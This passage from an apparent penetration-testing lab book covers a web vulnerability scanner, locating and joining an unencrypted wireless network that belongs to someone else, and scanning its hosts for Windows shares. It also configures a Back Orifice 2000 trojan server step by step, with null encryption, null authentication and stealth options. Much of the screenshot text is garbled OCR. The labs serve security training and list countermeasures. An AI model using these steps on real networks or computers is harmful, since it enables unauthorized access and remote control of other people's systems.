172161.46(17216	1.45)	the Andreast Andreas Investment of the	
-		As to be a set of the	
		12 - C - F - F - F - F - F - F	
		III Internet Description	
		The second secon	
		A REAL PROPERTY.	
		2 (#Vil <)	
		A.G. Terman	
		2.6	
Hosts 5	The Vulnerabilities	Leal II Laureau	
Host (82 entries)	Server Type	Exploit ID Expl ·	
172 16 1 46 (172 16 1 46)	genetic	530 ///	
172 16 1 46 (172 16 1 46)	genetic	545 1/200	
172 16 1 46 (172 16 1 46)	genetic	546 //432	
172 16 1 46 (172 16 1 46)	onnesic	820 /aca	
172.16.1.46 (172.16.1.46)	genetic	1204 /sen	
172 16 1 46 (172 16 1 46)	genetic	5832 /scri_1	
and a section of the second	1.c	leve bac	
Dat CA 45 Ph B	n e milli	C) Brown on Eller's Web	100 L all 2120
Branch 1 (2) (2) (2) an	- Meal	Sictorogram mics (web	1869 Q: BB 2113 PA
our version of VMware Tool	s is out of date.		

Directly below the browser address bar WHCC displays one-half the status of the scanner's progress by identifying the vulnerability check it is currently performing out of the total number of exploits available, the target, and type of exploit currently being checked.

Checks 135 of 7506 Server 172.16.1.46 Type Microsoft IS/SD [Plus Generic]

The bottom of the screen displays the last half of the scanner's progress by displaying a percentage of completion.

5% - 172.16.16

By clicking on the **Vulnerabilities** tab and selecting a target, you can display the exploits identified by WHCC. Click on an exploit, and the details are given in the lower right side of the screen while either the specific results or enhanced details of the exploit are displayed.



*Note: I included WHCC in this book because of its ability to add custom exploits or to import the Nikto database. WHCC also includes the ability to perform SQL injection at the target and also has a brute force feature, but I have had unstable results at this point. (I used the newest Beta version, which may add to this problem.) Chapter 9

Wireless

Lab 76: Locate Unsecured Wireless

Locate Unsecured Wireless: NetStumbler/Mini-Stumbler

Prerequisites: Compatible wireless card

- **Countermeasures:** Static Media Access Control (MAC) addressing, wireless monitoring, minimal range
- **Description:** NetStumbler is a tool for Windows that allows you to detect wireless local area networks (WLANs) using 802.11b, 802.11a, and 802.11g.

Procedure: Install, execute, and analyze the results.

*Note: NetStumbler has come a long way and is an excellent tool for locating wireless access points. I have personally used this tool to locate unsecured wireless access points at a specific facility located in the United States that routinely services Air Force One. Once I brought it to the attention of the facility's IT Department, the wireless was secured and I was even given a personalized tour of the facility.

Double-click on the **netstumblerinstaller_0_4_0.exe** icon to start the installation.



Install NetStumbler with the default options. The installation will now complete. Click **Close**.



The **NetStumbler Help** screen will appear. You may read or close this window.



Double-click the Network Stumbler icon on the desktop.



The NetStumbler application will start.

- The left side of the application lists the categories and filters.
- The right side of the screen lists the specifics.
- *Note: It is important to understand at this point that NetStumbler will only work with specific network cards and VMware Workstation may require you to set your network card to Network Address Translation (NAT) instead of the bridged setting in order for VMware Workstation to identify your wireless card. As it appears my VMware Workstation-compatible wireless card has been misplaced, the remainder of this lab was conducted from the host computer and not the VMware Workstation machine. The results are identical.

A Network Stumbler - [2005	1212192757]												1 SIX
D C2 D b & d =	ala, +, tt: an in in	ø										-	161 X
C ar an P 10 1 in	MAC	SSID	Name	Chan	Speed	Vendor	Tune	Enc	SNR.	Simal+	Noise	SNR+	IPA
B-d SSD:	@ 0000 346F21AF	Abox/Weeless	149.00	6	54 Mbes	Mensolt	AP	WEP	9	-88	100	12	1.00
E P Filters	@ 001200CE2CE9	2w1RE836		6	54 Mbpt	(Fake)	AP	WEP	6	-89	-100	12	
	@ 0013107D8141	least at		6	54 Mbot	(Fake)	AP	WEP	9	-91	-100	9	
	O 000F66570C37	linksys		6	54 Mbps	Linkspe	AP		9	-83	-200	96	
	@ 0011500EC025	belkin64g		11	54 Mbps	(Fake)	AP		7	-90	100	10	
	@ 00007201E8C9	2w1RE018		6	22 Mbps	Zwiee	AP	WEP	5	-80	-100	20	
	© 000072471143	2w1RE908		6	22 Mbps	2w/se	AP	WEP	18	-73	-100	27	
	000F666A3891	michael		9	54 Mbps	Linksys	AP	WEP	16	-71	100	29	
	COOFB51F5CCA	Maximuß		11*	54 Mbps		AP	WEP	44	-50	-100	50	
	4												

When you click on **Filters** and then on **Encryption Off**, only those wireless devices without Wired Equivalent Privacy (WEP) turned on will be displayed.

- *Note: A device without WEP turned on allows anyone to connect to that device and have as much access as that device allows. For example, if the wireless device is an access point with an Internet connection, then it is broadcasting a free Internet connection to anyone with a wireless card. There are Internet cafés, airports, and so forth that have WEP turned off but that have a connectionspecific screen that all users will see when attempting to connect to the Internet.
- *Note: A bigger concern than free Internet is when wireless devices allow unauthorized connectivity to computers without the intent of the computer's owner.

A Network Stumbler - [200512121	92757]			-								f ×
DOD DOM DE CARP 1.	*_ 11: (mm 0) (0)	0									-	
The A Diameter	MAC	SSID	Name	Chan	Speed	Vendor	Type E	nc SNR	Signal+	Noise	SNR+	IP Ad
Constant Constant	<u>A</u> <u>A</u> <u>C</u> <u>A</u> <u>A</u> <u>A</u> <u>A</u> <u>C</u> <u>A</u> <u>A</u> <u>A</u> <u>A</u> <u>A</u> <u>C</u> <u>A</u> <u>A</u> <u></u>	₹ CSD Inkoys Inkir54g	Nane	Chan 6 11	Speed S4 Mbps 54 Mbps	Vandor Linksyn (Fake)	Ispa E	nc. SNR 9 7	5 Signal- 83 - 30	Noise 2000 -100	54R- 96 10	PAC
	4											

From your computer's wireless card configuration screen, change the SSID name to one of the **Encryption Off** devices located by NetStumbler. In this example the wireless device with the SSID of "**linksys**" was used. You may receive a warning about connecting to an unsecured wireless device. If so, click **Yes**.

<u>.</u>	You are connecting to an unsecured network "linksys". Information sent over this network is not encrypted and might be visible to other people. Do you want to continue?
	<u>Y</u> es <u>N</u> o

To verify the connection bring up a *Command* shell, and then type **ipconfig** and press **Enter**.

es Command Prompt	
C:\Documents and Settings\mspivey>ipconfig	_
Windows IP Configuration	
Ethernet adapter UMware Network Adapter UMnet8:	
Connection-specific DNS Suffix .: IP Address	
Ethernet adapter UMware Network Adapter UMnet1:	
Connection-specific DNS Suffix .: IP Address	
Ethernet adapter Wireless Network Connection:	
Connection-specific DNS Suffix .: IP Address:192.168.1.101 Subnet Mask:255.255.0 Default Gateway:192.168.1.1	- 1

Notice that this wireless device handed out an IP address to my computer. Now I want to check to see if I have a free Internet connection by opening my Internet Explorer.



Everything looks good so far. But what about other computers on the network? Many times home users who have unsecured access points also have unsecured home computers. To verify I used Angry IP Scanner (see Lab 29).

🏂 Angry IP Scanr	ner 2.21			_ 🗆 🗙
<u>File G</u> o to <u>C</u> omm	ands <u>F</u> avorites <u>O</u> p	otions <u>U</u> tils <u>H</u> elp		
IP range: 192 .	168 . 1 . 1	to 192 . 168 .	1 . 255 🕥 Start	
Hostname: mark-spi-	lap1	1P& 66 18	Case Threads 0	
Scar	ports 139,445			
IP © ì	Ping 💿 🕯	Hostname	👁 🕯 🛛 Open ports	oi
192.168.1.1	3 ms Open ports: N/A	N/A	N/A	
192.168.1.101	0 ms Open ports: 139,445	mark	139,445	
192.168.1.111	3 ms Open ports: 139,445	markm ;	139,445	
Ready				

I can identify my computer (Mark) and another computer on this network (markm). I was also looking for the Windows shares (ports 139, 445). Refer to Chapter 4 to exploit this weakness.

*Note: I want to mention that there is a version of NetStumbler named Mini-Stumbler that works on PDAs. Once installed on the PDA the results are the same. I also want to mention that one of the neatest features of NetStumbler/Mini-Stumbler is that they support Global Positioning Satellites (GPS) technology. If you attach a GPS device to your computer while running NetStumbler, you will see the latitude and longitude of where your computer is at the moment the device was discovered. These points can be mapped for future use.

Lab 77: Trojan

Unauthorized Access and Control: Back Orifice Windows

Prerequisites: NULL Session

- **Countermeasures:** Secure ACLs, Bastion servers/workstations, Trojandetection software, updated antivirus
- **Description:** According to the developers, "Back Orifice (BO2K) is the most powerful network administration tool available for the Microsoft environment, bar none." It has, however, been used in the past to gain unauthorized access and total control over computers, and I wanted to include it in this chapter for that reason alone.
- *Note: Most times, though not always for unauthorized access/control physical access to the target, it is possible to install this application remotely as well.

Procedure: Install server/client parts, set the parameters, and execute.

On the Target Computer

Double-click on the **bo2kcfg.exe** icon to begin installing the server part of BO2K.



The BO2K Server Configuration screen will be displayed. Click the **Open Server** button.



Select the **bo2k.exe**. Click **Open**.

🗐 Windows 2000 Server - VMware Workstation		
File Edit View VM Power Snapshot Windows Help		
🔲 💷 🕟 🊱 🖬 Snapshot 🙀 Revert 🛐 🐼 🛅		
Red Hat Linux 8 Server Windows 2000 Server Windows XP Professional SUSE Linux 8.2	Red Hat Linux 8.0 V/hop	pix Red 🔹 🕨 🗙
😹 Start 🛛 🖉 🌾 🖼 🖾 🖉 🖉 BO2K - BO2K 1 🖉 Downloading File 🔍 C:\Download	s\B WBO2K Server C	. 🔁 🕮 4:20 PM
Image: Section of the section of th	Ver	CONTROL OF
Turner Analise Class 204 V/D		
netw-ib-ox Type: Application bize: 204 Kb	204 KD B My Coll	ipucer //,
		.0.0. – m

The next step is to load *Plugins* to the server configuration. Click the **Insert** button.

🗐 Windows 2000 Server - VMware Workstation			
File Edit View VM Power Snapshot Windows Help			
🔲 💵 🕨 🧐 🖬 Snapshot 🙀 Revert 🛐 💽			
Red Hat Linux 8 Server Windows 2000 Server Windows XP Professional SUSE Linux 8.2	Red Hat Linux 8	3.0 Whoppix Red	▲
🗃 🕅 🖅 🖄 🖼 🖼 🖉 🗟 🖉 BO2K - BO2K 1 🖉 Downloading File 🖘 C:\Downloads	B 108 BO2	K Server C	4:20 PM
	in i of oor		
File Edit View Favorites Tools Help			10 A
My Documents Re → Back + → - ↔ Gil @ Search El-Enlifers @History RS D2 × x0			25
Address C C Y BO2K Server Configuration]	- IX - C	>G0
Current Server File: Open Ser	ver		_
My Computer N L C:\Downloads\B02K\bo2k_1-1-3\bo2k.exe Save Se	rver		25
bo2k 1- Version 1.13		Exit gpl.txt	
	erver		
Places Application Plugins Loaded:	_		
Modified: 10/1/ Plugin Name Version B02K Ver Description	Insert	t	
Size: 204 KB	Remo	ive	
Attributes: (noi	Extract To	o File	
	<u> </u>		
Internet Uption Vanables: Lourent Value:		_	
Explorer E-C Stealth NewValue:			
C Directed C Evolution		Value	
netwox-5.2			
Back Untice 2000 Server Configuration Utility, Copyright (C) 2003, C	Cult of the Dead I	Cow	
netweb-ox Type: Application Size: 204 KB	204 KB	My Computer	11.
			실티템

Double-click on the **plugins** folder.

Mindaug 2000 Server Wayse Wedetation	
Ele Edit View VM Power Spanshot Windows Help	
Port Heft Linux & Source Mindows 2000 Source Mindows VD Dedessioned StillSE Linux 9.0 End Heft Linux 9.0	
Hearta Linux O Server Windows 2000 Server Windows AP Professional 303L Linux 0.2 Red hat Linux 0.0	
File Edit View Eavorites Tools Help	
My Documents Re → Back + → - ← Consearch Con	
Address C C	
Current Server File: Open Server	
Vy Computer V L U:\Uownloads\BUZK\bozk_1-1-3\bozk.exe	
bo2k_1-	gpl.txt
	· 🗧 🔰
Plates Application Plu src	
Modified: 10/1/	E I
Recycle Bin Size: 204 KB	
Attributes: (noi	
Internet Elle name: Open	
Files of type: DLL Files (*.dll)	
- Switch Setting	
netwox-5.2 C Disabled C Enabled SetVa	lue
Back Drifice 2000 Server Configuration Utility, Copyright (C) 2003, Cult of the Dead Cov	//
Turne Analization Gray 204 KP	The Computer
netwebrox Intype: Application pizer zon ko	Eginy computer //
	사망

Double-click the io folder. Select the io_tcp.dll. Click Open.

Windows 2000 Server - VMware Workstation		
File Edit View VM Power Snapshot Windows Help		
🔲 💷 🕟 🊱 🖬 Snapshot 🙀 Revert 🛐 💽		
Red Hat Linux 8 Server Windows 2000 Server Windows XP Professional SUSE Linux 8.2	Red Hat Linux 8.0	Whoppix Red 4 🕨 🗙
🚓 Start 🙆 🍘 🛱 🖉 🎽 🖉 JBO2K - BO2K 1 🖉 Downloading File 🕞 C:\Download	s\B VBO2K Serv	ver C 🗿 🕮 5:17 PM
Kongentes Re He Edit View Favorites Tools Help		
	55 . _ [7]	×1
Address C C		
My Computer 1) L C:\Downloads\B02K\bo2k_1-1-3\bo2k.exe	1	25
Ser Insert B02K Plugin	<u>?</u> ×	gpl.txt
) C* 🖩 -	
My Alework bo2kcfg.exe Places Application Plu Io_udp.dll		
Modified: 10/1/	-	1
Recycle Bin Size: 204 KB		
Attributes: (noi		
Internet 🕀 File name: jo_tcp.dll	Open	
Files of type: DLL Files (*.dl)	Cancel	
Switch Setting	SetValue	
netwox-5.2		
Back Driffice 2000 Server Configuration Utility, Copyright (C) 2003, (Cult of the Dead Cow	
netw-ib-ox Type: Application Size: 204 KB	204 KB 🖳 M	Ay Computer
		品口一團

We still need more *Plugins*. Click the **Insert** button.

Indows 2000 Server - VMware Workstation		
File Edit View VM Power Snapshot Windows Help		
🔲 💷 🕟 🧐 🖬 Snapshot 🙀 Revert 🛐 🐼 🛅		
Red Hat Linux 8 Server Windows 2000 Server Windows XP Professional SUSE Linux 8.2	Red Hat Linux 8.0 Whoppix	Red + + ×
🕂 Start 🛛 🍘 🛱 🖾 📁 🖉 🖉 BO2K - BO2K 1 🖉 Downloading File 🕰 C:\Downloads	s\B Vr BO2K Server C	🗃 🚅 5:17 PM
C:\Downloads\B02K\bo2k_1-1-3		
My Doguments Re		1
		25
Address C: C: Current Server Ele:		▼ ∂G0
My Computer N L C:\Downloads\802K\bo2k_1-1-3\bo2k.exe	rver	
Server Info: Save Se	erver	apl.txt 25
bo2k_1- Version 1.13 Close Se	erver Exit	
My Network bo2kcfg.exe		
Application Plugins Loaded: Plugin Name Version B02K Ver Description	Insert	
Modined: 10/1/	TCF	
Recycle Bin Ottributes: (no.		
	Extract To File	
Option Variables: Current Value:		
Explorer Distance Manufacture		
TCPIO		
Switch Setting	SetValue	
netwox-5.2	000 7 3 400	
Back Orifice 2000 Server Configuration Utility, Copyright (C) 2003, 0	Cult of the Dead Cow	
netw-b-ox Type: Application Size: 204 KB	204 KB 📙 My Comput	er //
		ALC =

Double-click the **plugins** folder and then double-click the **enc** folder.

🗐 Windows 2000 Server - VMware Workstation			
File Edit View VM Power Snapshot Windows Help			
🔲 💵 🕟 🧐 🖬 Snapshot 🙀 Revert 🖬 🖬 🛅			
Red Hat Linux 8 Server Windows 2000 Server Windows XP Professional SUSE Linux 8.2	Red Hat Linux 8	3.0 Whoppix Rec	★ + ×
🙀 Start 🛛 🖉 💭 🖾 📁 🖉 🖉 BO2K - BO2K 1 🖉 Downloading File 🗅 C:\Download	s\B 802	K Server C 🗊 🔮	5:18 PM
🗠 C:\Downloads\B02K\bo2k_1-1-3		_	
My Doguments R			1
← Back + → → ← → @ Search C Folders @History D2 D2 × x0	1 22.	150 M	25
Address C: Ourrent Server Configuration	1		€ ² Go
My Computer It L C:\Downloads\B02K\b02k_1-1-3\b02k.exe	rver		
Ser Insert BO2K Plugin	?	I∐ gpl.txt	25
bo2k_1-			
My Network bo2kcfg.exe		- F	
Modified: 10/1/		H I	
Recycle Bin Attributes: (nor		H	
		<u>i</u>	
Internet (#) hile name:	Open	4	
Files of type: DLL Files (".dl)	Cancel		
Switch Setting	Set	Malue	
netwox-5.2 C Disabled O Enabled		ranke.	
Back Orifice 2000 Server Configuration Utility, Copyright (C) 2003,	Cult of the Dead I	Cow	
netw-b-ox Type: Application Size: 204 KB	204 KB	U Computer	1.
			-
			입니믹

Select the **enc_null.dll** file. Click **Open**.

I Windows 2000 Server - VMware Workstation	
File Edit View VM Power Snapshot Windows Help	
🔲 💵 🕨 🊱 🖬 Snapshot 🙀 Revert 🔽 🔯	
Red Hat Linux 8 Server Windows 2000 Server Windows XP Professional SUSE Linux 8.2	Red Hat Linux 8.0 Whoppix Red 4 🕨 🗙
🚓 Start 🛛 🖉 🛱 🖾 📁 🖉 🖉 BO2K - BO2K 1 🖉 Downloading File 🔄 C:\Download	is\B 🕅 BO2K Server C 🕼 🕮 5:19 PM
Image: Second	25 RVVEL. Concel Cancel Cancel Cancel Cancel Cut of the Dead Cow
netw-ib-ox Type: Application Size: 204 KB	204 KB 🖳 My Computer 🥢
	생산ㅁㅋ

We still need a couple more *Plugins*. Click the **Insert** button.

File Edit View VM Power Snapshot Windows Help
📄 💷 🕨 🕟 🧐 🖬 Snapshot 🙀 Revert 🔽 🔯
Red Hat Linux 8 Server Windows 2000 Server Windows XP Professional SUSE Linux 8.2 Red Hat Linux 8.0 Whoppix Red 🔹
🏦 Start 🛛 🖉 🍘 🖾 📜 🖉 BO2K - BO2K 1 🖉 Downloading File 🔍 C:\Downloads\B 🕅 🕅 BO2K Server C 🖗 🕮 5:20 PM
C:\Downloads\B02K\bo2k_1-1-3
My Documents Re File Edit View Favorites Tools Help
4- Back + → → + G1 @ Search P. Enlders @History P2 D2 X m =
Address Current Server File:
My Computer N L C:\Downloads\802K\bo2k_1-1-3\bo2k exe
Server Info: Save Server gpl.bxt
bo2k_1- Close Server Exit
My Network bo2kcfg.exe Plates Anglestice Platins Loadert
Plugin Name Version B02K Ver Description Insert
Size: 204 KB
Recycle Bin Attributes: (no)
Option Variables: Current Value:
Explorer B: Stealth New Walter
Switch Setting SetValue
netwox5.2
Back Onlice 2000 Server Configuration Utility, Copyright (C) 2003, Cult of the Dead Cow
netwilbrox Type: Application Size: 204 KB 204 KB 204 KB

🔄 Windows 2000 Server - VMware Workstation	
File Edit View VM Power Snapshot Windows Help	
📰 💵 🕟 🧐 🖬 Snapshot 🙀 Revert 🛐 🔛 🛅	
Red Hat Linux 8 Server Windows 2000 Server Windows XP Professional SUSE Linux 8.2 Red Hat Linu	ix 8.0 VVhoppix Red 🕨 🗙
🙀 Start 🛛 🍘 🕼 🖾 🔚 🖉 🖄 🖉 🖉 🕅 🕅 🕅 🖉 BO2K - BO2K 1 🖗 Downloading File 🖓 C:\Downloads\B 🕅	02K Server C 🔐 🕮 5:20 PM
Wy Documents R File Edit Wew Favorites Tools Help Wy Documents R File Edit Wew Favorites Tools Help Address C Image: Server Configuration Depen Server. Depen Server. Wy Computer C:Downloads/80/2K/bo2k, 1:1-3/bo2k.exe Open Server. Depen Server. Wy Computer Do 2k_1 C:Downloads/80/2K/bo2k, 1:1-3/bo2k.exe Open Server. My Computer Do 2k_1 Look in: Dugins Image: C Modified: IO/I/ Stor: 204 KB Attributes: (noi Image: Sink	EX goldt goldt
Internet Explore Explore Image: Splore Explore Image: Splore Image: Splore Image: Splore <th>il et/v/aue ad Cow My Computer</th>	il et/v/aue ad Cow My Computer
	k Q 🗆 🗉

Double-click on the **auth** folder.

🕼 Windows 2000 Server - VMware Workstation	
File Edit View VM Power Snapshot Windows Help	
🔲 💵 🕨 🊱 🖬 Snapshot 🙀 Revert 💽 🔂 🛅	
Red Hat Linux 8 Server Windows 2000 Server Windows XP Professional SUSE Linux 8.2	Red Hat Linux 8.0 Whoppix Red 🖌 🕨 🗙
😹 Start 🛛 🙆 🍘 🖾 🎽 🖉 BO2K - BO2K 1 🖉 Downloading File 🕞 C:\Download	s\B 🕅 BO2K Server C 🗊 🕮 5:20 PM
Arristic Devendoad's 0022/Looks_1-1-3 My Documents R Pile Edit View Favorites Tools Help Address C C My Computer I Documents Reserver File: Documents Reserver File:<	
Abces Application Pu enc Modified 10/1/ P ilo Size: 204.8 V Attributes: (nou Data	
Internet Explorer H Files of type: DLL Files (*.dl) Files of type: DLL Files (*.dl) Files of type: DLL Files (*.dl) Back Onice 2000 Server Configuration Utility, Copyright (C) 2003, (C)	Cancel
netwell-occ Type: Application Size: 204 KB	204 KB 🖳 My Computer //
	<u> 문</u> 일 = 백

File Edit View VM Power Sngshot Windows Help File File File File RestHit File File File RestHit File File File RestHit File File File File RestHit File File File File File Ny Documents File	🗐 Windows 2000 Server - VMware Workstation	
Revert Image: Substance Red Hill Linux 6 2 From Windows 2000 Server Windows XP Protessona SUSE Linux 6.2 Red Hel Linux 6.0 Mapper Red Red Start Image: Substance Imag	File Edit View VM Power Snapshot Windows Help	
Red Hid Linux 6 Server Windows 2000 Server Windows 2000 Server Start Image: Sta	📰 💷 🕟 🊱 🖬 Snapshot 🙀 Revert 📅 🐼 🛅	
Start Image:	Red Hat Linux 8 Server Windows 2000 Server Windows XP Professional SUSE Linux 8.2	Red Hat Linux 8.0 Whoppix Red 🖌 🕨 🗙
Image: Source of the server file Image: Source of the server of the s	😹 Start 🛛 🙆 🈂 🖼 🖾 🎾 🖗 BO2K - BO2K 1 🖉 Downloading File 🕞 C:\Download	s\8 🕅 BO2K Server C 🗃 🕮 5:20 PM
I Type: Application Size: 204 KB 204 KB 204 KB My Computer	Image: Second	Image: set of the California and the californi and the california and the california and th
	Type: Application Size: 204 KB	204 KB U My Computer
		,

Select the auth_null.dll file. Click Open.

Double-click the **Insert** button, then double-click the **srv** folder.

🕼 Windows 2000 Server - VMware Workstation		
File Edit View VM Power Snapshot Windows Help		
🔲 💵 🕟 🌚 Snapshot 🙀 Revert 📰 🔛 🛅		
Red Hat Linux 8 Server Windows 2000 Server Windows XP Professional SUSE Linux 8.2	Red Hat Linux 8.0 VVho	ppix Red 🕨 🕨 🗙
😹 Start 🛛 🖉 🛱 🖾 🗁 🖉 🖉B02K - B02K 1 🖉 Downloading File 🔄 C:\Download	ls\B 🕅 BO2K Server C	🗊 🕮 5:26 PM
My Dooments R File Edit Unewritionadd's 1002K1/bock_1=13 Hy Dooments R File Edit View Favorites Tools Help JeBack + Image: Construction Address Construction Current Server File: Open Se Hy Computer Image: Construction Current Server File: Open Se My Network Bock_figuree Page Server File: Open Se My Network Haplication Modified: 10/1/1 Image: Page Back See: 204 KB See: 204 KB See: 204 KB See: 204 KB		JIX IR S P ² Go gpl.bxt S
network5.2	Open Cancel	
netw-ib-ox Type: Application Size: 204 KB	204 KB 📃 My Co	omputer //
		k Q = #

🗐 Windows 2000 Server - VMware Workstation File Edit View VM Power Snapshot Windows Help 🖬 💵 💽 🧐 🖬 Snapshot 🙀 Revert 🚺 💽 Red Hat Linux 8 Server Windows 2000 Server Windows XP Professio Linux 8.2 F Hat Linux 8.0 Whoppix Red **∢ ⊦ ×** 🏨 Start 📗 🙆 🕼 🖾 🔚 🎉 🕹 BO2K - BO2K 1.... 🖉 Downloading File... 🔄 C:\Downloads\B... 🕅 🎀 BO2K Server C... e e 5:26 PM C:\D - 🗆 🗵 1 ⇔ Back
 →
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 ↔
 👬 🖓 Search 🕞 Enlders 🖓 History 🕅 😳 🗙 🕥 💷 - 🗆 🗵 Current Server File: • 🖓 😡 Open Server. C:\Downloads\B02K\bo2k_1-1-3\bo2k.exe Ser Insert BO2K Plugin <u>?</u>× gpl.txt bo2k_1-Look in: 🔄 srv - - - - - - srv_control.dl srv_getfile.dl srv_inetcmd.dl srv_interface.dll srv_legacy.dl srv_regfile.dll bo2kcfg.exe Application Srv_system.dll
 bo2kcfg.exe
 Plu

 Application
 Plu

 Modified: 10/1/
 Pi

 Size: 204 KB
 Size: 204 KB

 Attributes: (noi
 Size: 4
 C e Opt File name: srv_control.dll Intern Explor Open Files of type: DLL Files (*.dll) • Cancel C Disabled C Enable Back Onlice 2000 Server Configuration Utility, Copyright (C) 2003, Cult of the Dead Cow ation Size: 204 KB 204 KB 🖳 My Compu 80 - B

Select the **srv_control.dll** button. Click **Open**.

Click the Save Server button.

🗐 Windows 2000 Server - VMware Workstation	
File Edit View VM Power Snapshot Windows Help	
🔲 💷 🕞 🧐 In Snapshot 🙀 Revert 🖬 🔛 🛅	
Red Hat Linux 8 Server Windows 2000 Server Windows XP Professional SUSE Linux 8.2	Red Hat Linux 8.0 V/hoppix Red 🕨 🗙
😹 Start 🛛 🖉 🎘 🖾 🔚 🖉 BO2K - BO2K 1 🖉 Downloading File 🕤 C:\Download	s\B 🕅 BO2K Server C 🗊 🕮 5:26 PM
C:\Downloads\B02K\bo2k_1-1-3	
My Documents Re	B
⇔ Back + ⇒ + A1 @ Search P-Folders @History D2 D2 × rol WHO For the Configuration	25
Address C C Current Server File:	
My Computer II C:\Downloads\B02K\bo2k_1-1-3\bo2k.exe	
Server Info: Save Se	erver 25
bo2k_1- Version 1.13 Close Set	erver Exit
My Network bo2kcfg.exe	
Plugins Loaded: Plugin Name Version BO2K Ver Description	Insert
Modified: 10/1/ enc_null.dll 1.0 1.1 B02K Wussy NULL Encry	
Recycle Bin Size: 204 KB V auth_null dil 1.0 1.1 BU2K Null Authentication	Hemove
	Extract To File
Option Variables: Current Value:	
Internet ⊕-L Startup Explorer Đe-C Stealth	
- Switch Setting-	Reflicture
netwox-5.2 O Disabled O Enabled	
Back Onlice 2000 Server Configuration Utility, Copyright (C) 2003, (Cult of the Dead Cow
netweib-ox Type: Application Size: 204 KB	204 KB 🖳 My Computer
	80.00

The configuration will now be saved.

Windows 2000 Server - VMware Workstation File Edit View VN Power Snapshot Windows Help	
Red Hull Lance & Server Windows 2000 Server Wendows 2000 Server Windows 2000 Server Windowserver Windows 2000 Server	Red ↓ ×
→ Back - mb - (**) → Stauch - K-Ricker - (* Bischer U - (* 2), D* × veh - (**) → Back - mb - (**) → Stauch - K-Ricker - (* Bischer U - (* 2), D* × veh - (**) → Machine - (**) → Machine - (**) → Machine - (**) → Machine - (**) → Do2k_1- → Do2k_1-1 → Do2k_1- → Do2k_0-13 → Do2k_1- → Do2k_0-13 → Do2k_1- → Do2k_0-13 → Do2k_1- → Do2k_0-13 → Do2k_0-13 → Doae Server → Do2k_0-13 → Doae Server → Do2k_0-14 → Diae Server → Do2k_0-15 → Machine - Verior → Do2k_0-13 → Machine - Verior → Do2k_0-13 → Machine - Verior → Do2k_0-13 → Machine - Verior → Boae - Normer → Machine - Verior → Machine - Verior → Machine - Verior → Machine - Verior → Machine - Verior → Boae - Normer → Machine - Verior → Machine - Verior → Machine - Verior → Boae - Normer → Machine - Normer → Boae - Normer → Machine - Normer <tr< td=""><td>S P p p Ltt</td></tr<>	S P p p Ltt
Back-Onlice 2000 Server Configuration Ukity, Copyright (C) 2003, Cult of the Dead Cow network-com. Type: Application Size: 201 KB. 201 KB. 201 KB.	der //
	80.00

In the **Option Variables** section, click on the **+** symbol next to the **TCPIO** folder. By selecting the **Default Port** you can change the port to which BO2K connects.

🗐 Windows 20	00 Server -	VMware Worksta	tion						
File Edit Vie	ew VM Po	wer Snapshot Wi	ndows Help						
i 🖬 🔟 🕟	6 8	napshot 🛛 🙀 Revert	F :						
Red Hat Linux 8 S	Server Win	dows 2000 Server	Windows XP	Professional SU	ISE Linux 8.2	Red Hat Linux 8.0	Whoppix	Red	I () ×
Start 3	<i>6</i> 6 8	🖄 🖉 воак - во	о2К 1 🖉 D	ownloading File	C:\Downloads\	8 WBO2K Se	rver C	94	5:41 PM
	C:\Downlo	ads\BO2K\bo2k_1	-1-3						l ×I
	File Edit	View Favorites	Tools Help						1
My Documents Re-	d Back →	⇒ - El QSei	arch 🕒 Folder	s 🎯 History 🛛 🖓	(W X m				25
	Address	Clouded Loope	Luci, e e o				al	• @	Go
Mu Computer N	12-	Current Server Lu	ninguration	_				-	_
Thy Computer 1		C:\Downloads\B02k	(\bo2k 1·1·3\bo	2k.exe -	Open Server				25
